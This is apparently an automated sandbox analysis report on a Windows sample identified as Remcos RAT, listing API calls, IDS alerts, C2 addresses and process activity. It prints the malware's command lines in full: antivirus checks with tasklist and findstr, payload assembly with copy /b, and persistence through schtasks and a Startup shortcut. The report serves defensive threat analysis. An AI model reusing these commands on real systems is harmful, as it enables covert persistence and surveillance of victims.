Windows Analysis Report
sXpIsdpkzy.exe

AI detected suspicious sample

Source: Yara match

File source: C:\ProgramData\remcos\registros.dat, type: DROPPED

Source: Submited Sample

Integrated Neural Analysis Model: Matched 93.8% probability

Source: sXpIsdpkzy.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: sXpIsdpkzy.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,	0_2_00406301
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406CC7
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FF4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	19_2_00FF4005
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FFC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	19_2_00FFC2FF
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FF494A GetFileAttributesW,FindFirstFileW,FindClose,	19_2_00FF494A
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FFCD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	19_2_00FFCD9F
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FFCD14 FindFirstFileW,FindClose,	19_2_00FFCD14
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FFF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	19_2_00FFF5D8
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FFF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	19_2_00FFF735
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FFFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	19_2_00FFFA36
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FF3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	19_2_00FF3CE2

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\33988\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\33988	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.10:49930 -> 181.131.217.244:1515
Source: Network traffic	Suricata IDS: 2032777 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Server Response : 181.131.217.244:1515 -> 192.168.2.10:49930

Source: global traffic

TCP traffic: 192.168.2.10:49930 -> 181.131.217.244:1515

Source: global traffic

HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 181.131.217.244 181.131.217.244
Source: Joe Sandbox View	IP Address: 178.237.33.50 178.237.33.50

Source: Joe Sandbox View

ASN Name: EPMTelecomunicacionesSAESPCO EPMTelecomunicacionesSAESPCO

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.10:49944 -> 178.237.33.50:80

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_010029BA InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

19_2_010029BA

Source: global traffic

HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: OFfdlkbKbwMNYjhkX.OFfdlkbKbwMNYjhkX
Source: global traffic	DNS traffic detected: DNS query: 3diciembre.con-ip.com
Source: global traffic	DNS traffic detected: DNS query: geoplugin.net

Source: sXpIsdpkzy.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: sXpIsdpkzy.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: sXpIsdpkzy.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: sXpIsdpkzy.exe	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: sXpIsdpkzy.exe	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: Paintball.com, 0000000B.00000003.1336690227.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, Paintball.com, 0000000B.00000003.2286342708.0000000001FE7000.00000004.00000020.00020000.00000000.sdmp, Securify360.scr.11.dr, Variable.0.dr, Paintball.com.2.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: Paintball.com, 0000000B.00000003.1336690227.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, Paintball.com, 0000000B.00000003.2286342708.0000000001FE7000.00000004.00000020.00020000.00000000.sdmp, Securify360.scr.11.dr, Variable.0.dr, Paintball.com.2.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Paintball.com, 0000000B.00000003.1336690227.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, Paintball.com, 0000000B.00000003.2286342708.0000000001FE7000.00000004.00000020.00020000.00000000.sdmp, Securify360.scr.11.dr, Variable.0.dr, Paintball.com.2.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Paintball.com, 0000000B.00000003.1336690227.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, Paintball.com, 0000000B.00000003.2286342708.0000000001FE7000.00000004.00000020.00020000.00000000.sdmp, Securify360.scr.11.dr, Variable.0.dr, Paintball.com.2.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: sXpIsdpkzy.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: sXpIsdpkzy.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: sXpIsdpkzy.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: sXpIsdpkzy.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: sXpIsdpkzy.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: sXpIsdpkzy.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: sXpIsdpkzy.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: sXpIsdpkzy.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: sXpIsdpkzy.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: sXpIsdpkzy.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: sXpIsdpkzy.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: sXpIsdpkzy.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: sXpIsdpkzy.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: sXpIsdpkzy.exe	String found in binary or memory: http://ocsp.sectigo.com00
Source: Paintball.com, 0000000B.00000003.1336690227.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, Paintball.com, 0000000B.00000003.2286342708.0000000001FE7000.00000004.00000020.00020000.00000000.sdmp, Securify360.scr.11.dr, Variable.0.dr, Paintball.com.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Paintball.com, 0000000B.00000003.1336690227.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, Paintball.com, 0000000B.00000003.2286342708.0000000001FE7000.00000004.00000020.00020000.00000000.sdmp, Securify360.scr.11.dr, Variable.0.dr, Paintball.com.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: Paintball.com, 0000000B.00000003.1336690227.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, Paintball.com, 0000000B.00000003.2286342708.0000000001FE7000.00000004.00000020.00020000.00000000.sdmp, Securify360.scr.11.dr, Variable.0.dr, Paintball.com.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Paintball.com, 0000000B.00000003.1336690227.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, Paintball.com, 0000000B.00000003.2286342708.0000000001FE7000.00000004.00000020.00020000.00000000.sdmp, Securify360.scr.11.dr, Variable.0.dr, Paintball.com.2.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Paintball.com, 0000000B.00000003.1336690227.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, Paintball.com, 0000000B.00000003.2286342708.0000000001FE7000.00000004.00000020.00020000.00000000.sdmp, Securify360.scr.11.dr, Variable.0.dr, Paintball.com.2.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: Paintball.com, 0000000B.00000003.1336690227.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, Paintball.com, 0000000B.00000000.1326888462.00000000009C9000.00000002.00000001.01000000.00000007.sdmp, Securify360.scr, 00000013.00000000.1361219033.0000000001059000.00000002.00000001.01000000.00000009.sdmp, Securify360.scr, 00000016.00000000.1456357468.0000000001059000.00000002.00000001.01000000.00000009.sdmp, Zinc.0.dr, Securify360.scr.11.dr, Paintball.com.2.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: sXpIsdpkzy.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: Paintball.com, 0000000B.00000003.1336690227.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, Paintball.com, 0000000B.00000003.2286342708.0000000001FE7000.00000004.00000020.00020000.00000000.sdmp, Securify360.scr.11.dr, Variable.0.dr, Paintball.com.2.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Paintball.com.2.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: Paintball.com, 0000000B.00000003.1336690227.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, Paintball.com, 0000000B.00000003.2286342708.0000000001FE7000.00000004.00000020.00020000.00000000.sdmp, Securify360.scr.11.dr, Variable.0.dr, Paintball.com.2.dr	String found in binary or memory: https://www.globalsign.com/repository/06

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com

Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Local\Temp\33988\Paintball.com

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe

Code function: 0_2_004050F9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050F9

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_01004830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

19_2_01004830

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_01004632 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

19_2_01004632

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe

Code function: 0_2_004044D1 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044D1

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_0101D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

19_2_0101D164

E-Banking Fraud

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: Yara match

File source: C:\ProgramData\remcos\registros.dat, type: DROPPED

System Summary

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Wscript called in batch mode (surpress errors)

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.js"

Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_00FF42D5: CreateFileW,DeviceIoControl,CloseHandle,

19_2_00FF42D5

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_00FE8F2E _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

19_2_00FE8F2E

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Code function: 0_2_004038AF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,		0_2_004038AF
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FF5778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,		19_2_00FF5778

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	File created: C:\Windows\InternshipWant	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	File created: C:\Windows\JpgCelebrity	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	File created: C:\Windows\JpegSuse	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	File created: C:\Windows\GovernmentalPoetry	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	File created: C:\Windows\MoBelongs	Jump to behavior

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Code function: 0_2_0040737E	0_2_0040737E
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Code function: 0_2_00406EFE	0_2_00406EFE
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Code function: 0_2_004079A2	0_2_004079A2
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Code function: 0_2_004049A8	0_2_004049A8
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00F9B020	19_2_00F9B020
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00F994E0	19_2_00F994E0
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00F99C80	19_2_00F99C80
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FB23F5	19_2_00FB23F5
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_01018400	19_2_01018400
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FC6502	19_2_00FC6502
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00F9E6F0	19_2_00F9E6F0
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FC265E	19_2_00FC265E
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FB282A	19_2_00FB282A
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FC89BF	19_2_00FC89BF
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FC6A74	19_2_00FC6A74
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FA0BE0	19_2_00FA0BE0
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_01010A3A	19_2_01010A3A
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FEEDB2	19_2_00FEEDB2
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FBCD51	19_2_00FBCD51
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FF8E44	19_2_00FF8E44
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FC6FE6	19_2_00FC6FE6
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_01010EB7	19_2_01010EB7
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FB33B7	19_2_00FB33B7
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FAD45D	19_2_00FAD45D
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FBF409	19_2_00FBF409
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FB16B4	19_2_00FB16B4
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00F9F6A0	19_2_00F9F6A0
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00F91663	19_2_00F91663
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FAF628	19_2_00FAF628
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FB78C3	19_2_00FB78C3
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FB1BA8	19_2_00FB1BA8
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FBDBA5	19_2_00FBDBA5
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FC9CE5	19_2_00FC9CE5
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FADD28	19_2_00FADD28
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FBBFD6	19_2_00FBBFD6
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FB1FC0	19_2_00FB1FC0

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr 865347471135BB5459AD0E647E75A14AD91424B6F13A5C05D9ECD9183A8A1CF4
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\33988\Paintball.com 865347471135BB5459AD0E647E75A14AD91424B6F13A5C05D9ECD9183A8A1CF4

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Code function: String function: 004062CF appears 58 times
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: String function: 00FB8B30 appears 42 times
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: String function: 00FA1A36 appears 34 times
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: String function: 00FB0D17 appears 70 times

Source: sXpIsdpkzy.exe

Static PE information: invalid certificate

Source: sXpIsdpkzy.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@36/25@4/2

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_00FFA6AD GetLastError,FormatMessageW,

19_2_00FFA6AD

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FE8DE9 AdjustTokenPrivileges,CloseHandle,		19_2_00FE8DE9
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FE9399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		19_2_00FE9399

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe

0_2_004044D1

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_00FF4148 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

19_2_00FF4148

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_00FF443D __swprintf,__swprintf,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

19_2_00FF443D

Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com

File created: C:\Users\user\AppData\Local\Secure360 Innovations

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4036:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1624:120:WilError_03

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe

File created: C:\Users\user\AppData\Local\Temp\nslA6F9.tmp

Source: sXpIsdpkzy.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: sXpIsdpkzy.exe

ReversingLabs: Detection: 52%

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe

File read: C:\Users\user\Desktop\sXpIsdpkzy.exe

Source: unknown	Process created: C:\Users\user\Desktop\sXpIsdpkzy.exe "C:\Users\user\Desktop\sXpIsdpkzy.exe"
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Hazards Hazards.cmd && Hazards.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 33988
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "EmergencyAdaptedResearchOrdinaryHeatherSuspendedHospitalsScanner" Cancer
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Oe + ..\Increases + ..\Independently + ..\Devon + ..\Hotels + ..\Automobile + ..\Albany + ..\Georgia + ..\Guess + ..\Funeral w
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\33988\Paintball.com Paintball.com w
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks.exe /create /tn "Mon" /tr "wscript //B 'C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.js'" /sc minute /mo 5 /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Mon" /tr "wscript //B 'C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.js'" /sc minute /mo 5 /F
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Securify360.url" & echo URL="C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Securify360.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr "C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr" "C:\Users\user\AppData\Local\Secure360 Innovations\V"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr "C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr" "C:\Users\user\AppData\Local\Secure360 Innovations\V"
